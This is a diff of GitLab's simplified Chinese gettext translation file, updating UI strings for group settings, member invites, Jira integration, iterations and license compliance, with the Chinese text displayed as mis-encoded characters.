msgid "GroupSettings|Select a project with the %{code_start}.gitlab/insights.yml%{code_end} file"
-msgstr ""
+msgstr "选择 %{code_start}.gitlab/insights.yml%{code_end} 文件的项目"
msgid "GroupSettings|Select a subgroup to use as the source for custom project templates for this group."
msgstr "选择一个å­ç»„用作该组的自定义项目模æ¿çš„æºã€‚"
msgid "GroupSettings|Select the project that contains your custom Insights file."
-msgstr ""
+msgstr "选择包å«è‡ªå®šä¹‰Insight文件的项目。"
msgid "GroupSettings|Set the maximum size of GitLab Pages for this group. %{link_start}Learn more.%{link_end}"
msgstr "为该群组设置GitLab Pages的最大大å°ã€‚ %{link_start}了解更多。%{link_end}"
@@ -16491,6 +16796,12 @@ msgstr "用户å¯ä»¥ä¸ºè¯¥ç¾¤ç»„中的项目创建 %{link_start}项目访问令ç
msgid "GroupSettings|What are badges?"
msgstr "什么是徽章?"
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr "您åªèƒ½å°†å½“å‰ç¾¤ç»„转移到您管ç†ä¸‹çš„群组。"
@@ -16558,7 +16869,7 @@ msgid "GroupsEmptyState|You can manage your group member’s permissions and acc
msgstr "您å¯ä»¥ç®¡ç†ç¾¤ç»„æˆå‘˜çš„æƒé™å¹¶è®¿é—®ç¾¤ç»„中的æ¯ä¸ªé¡¹ç›®ã€‚"
msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
+msgstr "%{linkStart}群组%{linkEnd}å…许您在多个项目之间进行管ç†ä¸Žå作。群组的æˆå‘˜æ‹¥æœ‰è®¿é—®å…¶ä¸­æ‰€æœ‰é¡¹ç›®çš„æƒé™ã€‚"
msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
msgstr "将相关项目组åˆåœ¨ä¸€èµ·å¹¶ä¸€æ¬¡æŽˆäºˆæˆå‘˜è®¿é—®å¤šä¸ªé¡¹ç›®çš„æƒé™ã€‚"
@@ -16668,8 +16979,11 @@ msgstr "哈希仓库存储路径"
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr "新项目ä¸èƒ½å†ç¦ç”¨å“ˆå¸Œå­˜å‚¨"
-msgid "Header cannot be associated with both a request and a response"
-msgstr "Header ä¸èƒ½åŒæ—¶ä¸Žè¯·æ±‚å’Œå“应相关è”"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
+msgstr ""
msgid "Header logo"
msgstr "Header logo"
@@ -16683,12 +16997,15 @@ msgstr "Header logo将被删除。您确定å—?"
msgid "Header message"
msgstr "页头消æ¯"
-msgid "Header must be associated with a request or response"
-msgstr "Header必须与请求或å“应相关è”"
+msgid "HeaderAction|incident"
+msgstr ""
-msgid "Headers"
+msgid "HeaderAction|issue"
msgstr ""
+msgid "Headers"
+msgstr "Headers"
+
msgid "Heading 1"
msgstr "标题 1"
@@ -16774,7 +17091,7 @@ msgid "Helps reduce request volume (for example, from crawlers or abusive bots)"
msgstr "帮助å‡å°‘请求é‡ï¼ˆä¾‹å¦‚æ¥è‡ªçˆ¬è™«æˆ–滥用机器人的请求)"
msgid "Helps reduce request volume for protected paths."
-msgstr ""
+msgstr "有助于å‡å°‘å—ä¿æŠ¤è·¯å¾„的请求é‡ã€‚"
msgid "Here you will find recent merge request activity"
msgstr "您将在这里找到最近的åˆå¹¶è¯·æ±‚活动"
@@ -16782,6 +17099,9 @@ msgstr "您将在这里找到最近的åˆå¹¶è¯·æ±‚活动"
msgid "Hi %{username}!"
msgstr "%{username},您好!"
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr "éšè—"
@@ -16854,7 +17174,7 @@ msgid "History of authentications"
msgstr "身份验è¯çš„历å²"
msgid "Holder name:"
-msgstr ""
+msgstr "æŒå¡äººå§“å"
msgid "Home page URL"
msgstr "首页URL"
@@ -16881,7 +17201,7 @@ msgid "Hour (UTC)"
msgstr "å°æ—¶(UTC)"
msgid "House your files, plan your work, collaborate on code, and more."
-msgstr ""
+msgstr "存放您的文件ã€è§„划您的工作ã€å作编写代ç ç­‰ç­‰ã€‚"
msgid "Housekeeping"
msgstr "例行维护"
@@ -16896,7 +17216,7 @@ msgid "How do I configure Akismet?"
msgstr "如何é…ç½® Akismet ?"
msgid "How do I configure authentication using the GitLab database?"
-msgstr ""
+msgstr "如何使用 GitLab æ•°æ®åº“é…置身份验è¯ï¼Ÿ"
msgid "How do I configure it?"
msgstr "我如何é…置它?"
@@ -17045,8 +17365,8 @@ msgstr "标识符"
msgid "Identities"
msgstr "身份标识"
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
-msgstr "如果任何索引字段超过此é™åˆ¶ï¼Œå®ƒå°†è¢«æˆªæ–­ä¸ºè¯¥å­—符数,其余部分将无法索引或ä¸å¯æœç´¢ã€‚此设置ä¸é€‚用于仓库和Wiki索引。将此设置为0表示它是无é™çš„。"
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
+msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
msgstr "如果为空,默认为 %{code_open}ç¨åŽé‡è¯•%{code_close}。"
@@ -17084,6 +17404,9 @@ msgstr "如果YouTube网å€ä¸ºhttps://www.youtube.com/watch?v=0t1DgySidms,则è
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr "如果活跃用户数é‡è¶…过了用户é™åˆ¶ï¼Œæ‚¨ä¸‹æ¬¡çš„许å¯è¯å¯¹è´¦æ—¶å°†ä¼šæ”¶å–%{users_over_license_link}个席ä½çš„费用。"
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr "如果此电å­é‚®ä»¶è¢«é”™è¯¯æ·»åŠ ï¼Œæ‚¨å¯ä»¥åœ¨è¿™é‡Œåˆ é™¤ï¼š"
@@ -17466,7 +17789,7 @@ msgid "InProductMarketing|Do you have a minute?"
msgstr "有空å—?"
msgid "InProductMarketing|Do you have a teammate who would be perfect for this task?"
-msgstr ""
+msgstr "您有一ä½é€‚åˆæ­¤ä»»åŠ¡çš„团队æˆå‘˜å—?"
msgid "InProductMarketing|Easy"
msgstr "简å•"
@@ -17529,7 +17852,7 @@ msgid "InProductMarketing|GitHub Enterprise projects to GitLab"
msgstr "GitHub ä¼ä¸šé¡¹ç›®åˆ° GitLab"
msgid "InProductMarketing|GitLab is better with teammates to help out!"
-msgstr ""
+msgstr "GitLab 更适åˆé˜Ÿå‹å¸®å¿™ï¼"
msgid "InProductMarketing|GitLab provides static application security testing (SAST), dynamic application security testing (DAST), container scanning, and dependency scanning to help you deliver secure applications along with license compliance."
msgstr "GitLab æä¾›é™æ€åº”用程åºå®‰å…¨æµ‹è¯•ï¼ˆSAST)ã€åŠ¨æ€åº”用程åºå®‰å…¨æµ‹è¯•ï¼ˆDAST)ã€å®¹å™¨æ‰«æå’Œä¾èµ–扫æ以帮助您æ供安全的应用程åºä»¥åŠéµå®ˆè®¸å¯å议。"
@@ -17586,7 +17909,7 @@ msgid "InProductMarketing|Increase Operational Efficiencies"
msgstr "æ高è¿è¥æ•ˆçŽ‡"
msgid "InProductMarketing|Invite them to help out."
-msgstr ""
+msgstr "邀请他们æ供帮助。"
msgid "InProductMarketing|Invite your colleagues and start shipping code faster."
msgstr "邀请您的åŒäº‹å¹¶å¼€å§‹æ›´å¿«åœ°å‘é€ä»£ç ã€‚"
@@ -17607,13 +17930,13 @@ msgid "InProductMarketing|Invite your team today to build better code (and proce
msgstr "ç«‹å³é‚€è¯·æ‚¨çš„团队一起构建更好的代ç ï¼ˆå’Œæµç¨‹ï¼‰"
msgid "InProductMarketing|Invite your teammates to GitLab"
-msgstr ""
+msgstr "邀请您的队å‹åŠ å…¥GitLab"
msgid "InProductMarketing|Invite your teammates to help"
-msgstr ""
+msgstr "邀请您的队å‹å¸®åŠ©"
msgid "InProductMarketing|Invite your teammates today and build better code together. You can even assign tasks to new teammates such as setting up CI/CD, to help get projects up and running."
-msgstr ""
+msgstr "今天邀请您的队å‹å¹¶å…±åŒå»ºç«‹æ›´å¥½çš„代ç ã€‚ 您甚至å¯ä»¥å°†ä»»åŠ¡åˆ†é…给新的队å‹ï¼Œå¦‚设置CI/CD,以帮助å¯åŠ¨å’Œè¿è¡Œé¡¹ç›®ã€‚"
msgid "InProductMarketing|It's all in the stats"
msgstr "一切尽在统计中"
@@ -17858,8 +18181,11 @@ msgstr "已实现 SLA"
msgid "IncidentManagement|All"
msgstr "全部"
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
-msgstr "å‡çº§ä¸ºäº‹ä»¶çš„所有警报将自动显示在列表中。您也å¯ä»¥ä½¿ç”¨ä¸‹é¢çš„按钮创建新事件。"
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
+msgstr ""
msgid "IncidentManagement|Assignees"
msgstr "指派人"
@@ -18023,9 +18349,6 @@ msgstr "在通知电å­é‚®ä»¶æ­£æ–‡ä¸­åŒ…å«ä½œè€…姓å"
msgid "Include description in commit message"
msgstr "在æ交消æ¯ä¸­åŒ…å«æè¿°"
-msgid "Include merge request description"
-msgstr "包å«åˆå¹¶è¯·æ±‚æè¿°"
-
msgid "Include new features from all tiers."
msgstr "包å«æ‰€æœ‰çº§åˆ«çš„新功能。"
@@ -18089,6 +18412,9 @@ msgstr "基础设施"
msgid "Infrastructure Registry"
msgstr "基础设施库"
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr "å¤åˆ¶ Terraform 命令"
@@ -18129,7 +18455,7 @@ msgid "Inline"
msgstr "内è”"
msgid "Inline math"
-msgstr ""
+msgstr "内è”æ•°å­¦"
msgid "Input host keys manually"
msgstr "手动输入主机密钥"
@@ -18232,7 +18558,7 @@ msgid "Insufficient permissions"
msgstr "æƒé™ä¸è¶³"
msgid "Insufficient permissions for dast_configuration keyword"
-msgstr ""
+msgstr "dast_configuration 关键字æƒé™ä¸è¶³"
msgid "Integration"
msgstr "集æˆ"
@@ -18274,7 +18600,7 @@ msgid "Integrations|An error occurred while loading projects using custom settin
msgstr "使用自定义设置加载项目时å‘生错误。"
msgid "Integrations|Branches for which notifications are to be sent"
-msgstr ""
+msgstr "è¦å‘é€é€šçŸ¥çš„分支"
msgid "Integrations|Browser limitations"
msgstr "æµè§ˆå™¨é™åˆ¶"
@@ -18303,12 +18629,18 @@ msgstr "默认设置继承自群组级别。"
msgid "Integrations|Default settings are inherited from the instance level."
msgstr "默认设置继承自实例级别。"
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr "在 Slack 工作区中å¯ç”¨ GitLab.com æ–œæ å‘½ä»¤ã€‚"
msgid "Integrations|Enable comments"
msgstr "å¯ç”¨è¯„论"
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr "无法链接命å空间,请é‡è¯•ã€‚"
@@ -18426,6 +18758,9 @@ msgstr "当您在æ交或åˆå¹¶è¯·æ±‚中æåŠ Jira 议题时,GitLab 会创å»
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr "您现在å¯ä»¥å…³é—­æ­¤çª—å£å¹¶è¿”回GitLab for Jira应用。"
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr "您尚未激活任何集æˆã€‚"
@@ -18441,6 +18776,12 @@ msgstr "æ‚¨å·²æ¿€æ´»æ‰€æœ‰é›†æˆ ðŸŽ‰"
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr "当您在禅é“中创建项目的议题时,禅é“议题会显示在此处。"
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr "交互模å¼"
@@ -18460,7 +18801,7 @@ msgid "Internal URL (optional)"
msgstr "内部URL(å¯é€‰)"
msgid "Internal error occured while delivering this webhook."
-msgstr ""
+msgstr "ä¼ é€æ­¤ webhook æ—¶å‘生内部错误。"
msgid "Internal users"
msgstr "内部用户"
@@ -18471,8 +18812,11 @@ msgstr "ä¸èƒ½åœç”¨å†…部用户"
msgid "Interval Pattern"
msgstr "循环周期"
-msgid "Introducing Your DevOps Report"
-msgstr "了解您的DevOps报告"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
+msgstr ""
msgid "Invalid Insights config file detected"
msgstr "检测到无效的 Insights é…置文件"
@@ -18528,8 +18872,8 @@ msgstr "登录å或密ç æ— æ•ˆ"
msgid "Invalid period"
msgstr "无效的周期"
-msgid "Invalid pin code"
-msgstr "无效的 pin ç "
+msgid "Invalid pin code."
+msgstr ""
msgid "Invalid pod_name"
msgstr "无效的pod_name"
@@ -18637,10 +18981,10 @@ msgid "InviteEmail|You have been invited to join the %{project_or_group_name} %{
msgstr "您被邀请以%{role}身份加入%{project_or_group_name}%{project_or_group}"
msgid "InviteEmail|You were assigned the following tasks:"
-msgstr ""
+msgstr "您被分é…了以下任务:"
msgid "InviteEmail|and has assigned you the following tasks:"
-msgstr ""
+msgstr "并为您分é…了以下任务:"
msgid "InviteMembersBanner|Collaborate with your team"
msgstr "与您的团队å作"
@@ -18661,29 +19005,26 @@ msgid "InviteMembersModal|Cancel"
msgstr "å–消"
msgid "InviteMembersModal|Choose a project for the issues"
-msgstr ""
+msgstr "选择议题的项目"
msgid "InviteMembersModal|Close invite team members"
msgstr "关闭邀请团队æˆå‘˜"
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr "在未解决的议题和åˆå¹¶è¯·æ±‚上进行å作"
-
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr "é…ç½® CI/CD"
-
-msgid "InviteMembersModal|Configure security features"
-msgstr "é…置安全功能"
-
-msgid "InviteMembersModal|Contribute to the codebase"
-msgstr "为代ç åº“贡献"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
+msgstr ""
msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgstr "为您的新团队æˆå‘˜åˆ›å»ºè®®é¢˜ (å¯é€‰)"
+
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
msgid "InviteMembersModal|GitLab member or email address"
msgstr "GitLab用户或电å­é‚®ä»¶åœ°å€"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
+msgstr ""
+
msgid "InviteMembersModal|Invite"
msgstr "邀请"
@@ -18696,9 +19037,6 @@ msgstr "邀请æˆå‘˜"
msgid "InviteMembersModal|Members were successfully added"
msgstr "æˆå‘˜å·²æˆåŠŸæ·»åŠ "
-msgid "InviteMembersModal|Other"
-msgstr "其它"
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr "æœç´¢è¦é‚€è¯·çš„群组"
@@ -18715,10 +19053,7 @@ msgid "InviteMembersModal|Something went wrong"
msgstr "出现错误"
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
-msgstr ""
-
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr "您希望新æˆå‘˜å…³æ³¨ä»€ä¹ˆï¼Ÿï¼ˆå¯é€‰ï¼‰"
+msgstr "è¦å‘新团队æˆå‘˜åˆ†é…议题,您需è¦ä¸€ä¸ªè®®é¢˜æ‰€å±žçš„项目。 %{linkStart}从创建一个项目开始。%{linkEnd}"
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr "您正在邀请一个群组加入 %{strongStart}%{name}%{strongEnd} 群组。"
@@ -18906,6 +19241,9 @@ msgstr "议题事件"
msgid "Issue first deployed to production"
msgstr "议题首次部署到生产环境"
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr "议题标记"
@@ -18922,7 +19260,7 @@ msgid "Issue update failed"
msgstr "议题更新失败"
msgid "Issue was closed by %{name} %{reason}"
-msgstr "议题由%{name}以%{reason}原因关闭"
+msgstr "%{reason},议题由 %{name} 关闭。"
msgid "Issue weight"
msgstr "议题æƒé‡"
@@ -18981,6 +19319,9 @@ msgstr "您的一些看æ¿è¢«éšè—,请激活许å¯è¯åŽå†æ¬¡æŸ¥çœ‹ã€‚"
msgid "IssueBoards|Switch board"
msgstr "切æ¢çœ‹æ¿"
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr "自定义议题跟踪器"
@@ -19038,17 +19379,14 @@ msgstr "使用ä¸åœ¨é›†æˆåˆ—表中的自定义议题追踪器。 %{docs_link}"
msgid "Issues"
msgstr "议题"
-msgid "Issues I've created"
-msgstr "我创建的议题"
-
msgid "Issues Rate Limits"
msgstr "议题速率é™åˆ¶"
msgid "Issues and merge requests"
msgstr "议题和åˆå¹¶è¯·æ±‚"
-msgid "Issues assigned to me"
-msgstr "已分é…给我的议题"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
+msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
msgstr "议题å¯ä»¥æ˜¯ç¼ºé™·ï¼Œä»»åŠ¡æˆ–è¦è®¨è®ºçš„想法。此外,å¯ä»¥é€šè¿‡æœç´¢å’Œç­›é€‰æ¥æŸ¥æ‰¾è®®é¢˜ã€‚"
@@ -19056,9 +19394,6 @@ msgstr "议题å¯ä»¥æ˜¯ç¼ºé™·ï¼Œä»»åŠ¡æˆ–è¦è®¨è®ºçš„想法。此外,å¯ä»¥é€š
msgid "Issues closed"
msgstr "关闭议题"
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr "由于技术原因暂时ç¦ç”¨æ‰‹åŠ¨è®¢é˜…议题。"
-
msgid "Issues must match this scope to appear in this list."
msgstr "议题必须与此范围匹é…æ‰èƒ½å‡ºçŽ°åœ¨æ­¤åˆ—表中。"
@@ -19152,6 +19487,9 @@ msgstr "添加迭代"
msgid "Iterations|Automated scheduling"
msgstr "自动调度计划"
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr "周期å称"
@@ -19161,6 +19499,9 @@ msgstr "找ä¸åˆ°è¿­ä»£å‘¨æœŸ"
msgid "Iterations|Create cadence"
msgstr "创建周期"
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr "创建迭代"
@@ -19243,7 +19584,7 @@ msgid "Iterations|The duration for each iteration (in weeks)"
msgstr "æ¯æ¬¡è¿­ä»£çš„æŒç»­æ—¶é—´ï¼ˆä»¥å‘¨ä¸ºå•ä½ï¼‰"
msgid "Iterations|The iteration has been deleted."
-msgstr ""
+msgstr "迭代已被删除。"
msgid "Iterations|The start date of your first iteration"
msgstr "第一次迭代的开始日期"
@@ -19257,9 +19598,15 @@ msgstr "这将从分é…给它的任何议题中删除迭代。"
msgid "Iterations|Title"
msgstr "标题"
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr "无法找到迭代。"
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr "日期ä¸èƒ½ä¸Žè¯¥ç¾¤ç»„内的其它现有迭代é‡å "
@@ -19284,9 +19631,6 @@ msgstr "1月"
msgid "Japanese language support using"
msgstr "日语支æŒä½¿ç”¨"
-msgid "Jira Issues"
-msgstr "Jira议题"
-
msgid "Jira display name"
msgstr "Jira显示å称"
@@ -19339,19 +19683,19 @@ msgid "JiraRequest|An SSL error occurred while connecting to Jira: %{message}. T
msgstr "连接到 Jira æ—¶å‘生 SSL 错误: %{message}。å†æ¬¡å°è¯•æ‚¨çš„请求。"
msgid "JiraRequest|An error occurred while requesting data from Jira. Check your %{docs_link_start}Jira integration configuration%{docs_link_end} and try again."
-msgstr ""
+msgstr "从 Jira 请求数æ®æ—¶å‡ºé”™ã€‚检查您的%{docs_link_start} Jira 集æˆé…ç½®%{docs_link_end}并é‡è¯•ã€‚"
msgid "JiraRequest|An error occurred while requesting data from Jira: %{messages}. Check your %{docs_link_start}Jira integration configuration%{docs_link_end} and try again."
-msgstr ""
+msgstr "从 Jira 请求数æ®æ—¶å‡ºé”™ï¼š%{messages}。检查您的%{docs_link_start} Jira 集æˆé…ç½®%{docs_link_end}并é‡è¯•ã€‚"
msgid "JiraRequest|The Jira API URL for connecting to Jira is not valid. Check your Jira integration API URL and try again."
msgstr "用于连接到 Jira çš„ Jira API URL 无效。检查您的 Jira é›†æˆ API URL,然åŽé‡è¯•ã€‚"
msgid "JiraRequest|The credentials for accessing Jira are not allowed to access the data. Check your %{docs_link_start}Jira integration credentials%{docs_link_end} and try again."
-msgstr ""
+msgstr "访问Jira的凭æ®ä¸å…许访问数æ®ã€‚%{docs_link_start}检查您的Jira集æˆå‡­æ®%{docs_link_end},然åŽé‡è¯•ã€‚"
msgid "JiraRequest|The credentials for accessing Jira are not valid. Check your %{docs_link_start}Jira integration credentials%{docs_link_end} and try again."
-msgstr ""
+msgstr "访问 Jira 的凭æ®æ— æ•ˆã€‚检查您的 %{docs_link_start}Jira 集æˆå‡­æ®%{docs_link_end} 并é‡è¯•ã€‚"
msgid "JiraService| on branch %{branch_link}"
msgstr "于分支%{branch_link}"
@@ -19395,18 +19739,9 @@ msgstr "输入新密ç æˆ– API 令牌"
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "%{noteable_model_name} 事件已ç¦ç”¨ã€‚"
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr "无法加载 Jira 议题状æ€ã€‚在 Jira 中查看议题,或é‡æ–°åŠ è½½é¡µé¢ã€‚"
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr "无法加载 Jira 议题。在 Jira 中查看议题,或é‡æ–°åŠ è½½é¡µé¢ã€‚"
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr "无法更新Jira议题状æ€ã€‚在Jira中查看议题,或é‡æ–°åŠ è½½é¡µé¢ã€‚"
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr "无法更新 Jira 议题状æ€ã€‚在 Jira 中查看议题,或é‡æ–°åŠ è½½é¡µé¢ã€‚"
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr "获å–æ­¤ Jira 项目的议题类型"
@@ -19425,18 +19760,12 @@ msgstr "ID 必须是å¯ä»¥ç”¨ , 或 ; 分割的数字列表"
msgid "JiraService|If different from Web URL."
msgstr "如果与 Web URL ä¸åŒã€‚"
-msgid "JiraService|Issue List"
-msgstr "议题列表"
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr "由该项目中的æ¼æ´žåˆ›å»ºçš„问题将是 Jira 问题,å³ä½¿å¯ç”¨äº† GitLab 问题。"
msgid "JiraService|Jira API URL"
msgstr "Jira API URL"
-msgid "JiraService|Jira Issues"
-msgstr "Jira议题"
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr "Jira 评论是在æ交中引用议题时创建的。"
@@ -19446,6 +19775,9 @@ msgstr "Jira 评论是在åˆå¹¶è¯·æ±‚中引用议题时创建的。"
msgid "JiraService|Jira issue type"
msgstr "Jira 议题类型"
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr "Jira project key"
@@ -19455,12 +19787,6 @@ msgstr "留空以使用您当å‰çš„密ç æˆ– API 令牌。"
msgid "JiraService|Move to Done"
msgstr "移动到完æˆ"
-msgid "JiraService|No available statuses"
-msgstr "æ— å¯ç”¨çŠ¶æ€"
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr "此处å¯èƒ½ä¸ä¼šæ˜¾ç¤ºæ‰€æœ‰æ•°æ®ã€‚è¦æŸ¥çœ‹æ›´å¤šè¯¦ç»†ä¿¡æ¯æˆ–对此议题进行更改,请转到 %{linkStart}Jira%{linkEnd}。"
-
msgid "JiraService|Open Jira"
msgstr "打开Jira"
@@ -19491,9 +19817,6 @@ msgstr "这是专业版功能"
msgid "JiraService|This is an Ultimate feature"
msgstr "这是一个旗舰版功能"
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr "此议题与JiraåŒæ­¥"
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr "å°† Jira 议题转æ¢ä¸ºæœ€ç»ˆçŠ¶æ€ï¼š"
@@ -19693,10 +20016,10 @@ msgid "Join Zoom meeting"
msgstr "加入Zoom会议"
msgid "Join a project"
-msgstr ""
+msgstr "加入项目"
msgid "Join your team on GitLab and contribute to an existing project"
-msgstr ""
+msgstr "加入您的 GitLab 团队,并为现有项目åšå‡ºè´¡çŒ®"
msgid "Joined %{time_ago}"
msgstr "加入于%{time_ago}"
@@ -19791,6 +20114,9 @@ msgstr "é”®"
msgid "Ki"
msgstr "Ki"
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr "Kroki"
@@ -19952,7 +20278,7 @@ msgid "Last Activity"
msgstr "最近活动"
msgid "Last Name"
-msgstr ""
+msgstr "姓"
msgid "Last Pipeline"
msgstr "最新æµæ°´çº¿"
@@ -19961,7 +20287,7 @@ msgid "Last Seen"
msgstr "最åŽå‡ºçŽ°"
msgid "Last Sync"
-msgstr ""
+msgstr "最近åŒæ­¥"
msgid "Last Used"
msgstr "最近使用"
@@ -20132,10 +20458,10 @@ msgid "Learn more about group-level project templates"
msgstr "了解更多关于群组级项目模æ¿"
msgid "Learn more about groups."
-msgstr ""
+msgstr "了解关于群组的更多信æ¯ã€‚"
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
-msgstr "%{configuration_link_start}高级æœç´¢é…ç½®%{configuration_link_end} 文档中了解有关分片和副本的更多信æ¯ã€‚直到索引%{recreated_link_start}é‡æ–°åˆ›å»º%{recreated_link_end}æ‰ä¼šå‘生更改。"
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
+msgstr ""
msgid "Learn more about signing commits"
msgstr "了解更多有关签åæ交的详细信æ¯"
@@ -20239,6 +20565,9 @@ msgstr "试用所有 GitLab 功能 30 天,无需信用å¡ã€‚"
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr "使用您的新 GitLab 工作æµç¨‹éƒ¨ç½²æ‚¨çš„应用程åºã€ç›‘控其è¿è¡ŒçŠ¶å†µå¹¶ç¡®ä¿å…¶å®‰å…¨ï¼š"
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr "正在创建您的入门体验..."
@@ -20284,6 +20613,9 @@ msgstr "让我们æ¥è°ˆè°ˆï¼"
msgid "License Compliance"
msgstr "许å¯è¯åˆè§„"
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr "许å¯è¯æ–‡ä»¶"
@@ -20416,9 +20748,6 @@ msgstr "在项目中检测到"
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr "检测到的ä¸ç¬¦åˆé¡¹ç›®æŒ‡å®šæ”¿ç­–的许å¯è¯"
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr "检测到åŽä¸å…许åˆå¹¶è¯·æ±‚并指示开å‘者删除"
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr "显示项目中检测到的许å¯è¯ï¼ŒåŸºäºŽ%{linkStart}最新的æˆåŠŸæ‰«æ%{linkEnd}"
@@ -20446,15 +20775,15 @@ msgstr "本项目中的指定政策"
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr "许å¯è¯åˆ—表详细说明您项目中使用的许å¯è¯ä¿¡æ¯ã€‚"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
+msgstr ""
+
msgid "Licenses|View license details for your project"
msgstr "查看您项目的许å¯è¯è¯¦ç»†ä¿¡æ¯"
msgid "Limit display of time tracking units to hours."
msgstr "é™åˆ¶æ—¶é—´è·Ÿè¸ªå•ä½æ˜¾ç¤ºåˆ°å°æ—¶ã€‚"
-msgid "Limit namespaces and projects that can be indexed"
-msgstr "é™åˆ¶å¯ç´¢å¼•å‘½å空间和项目"
-
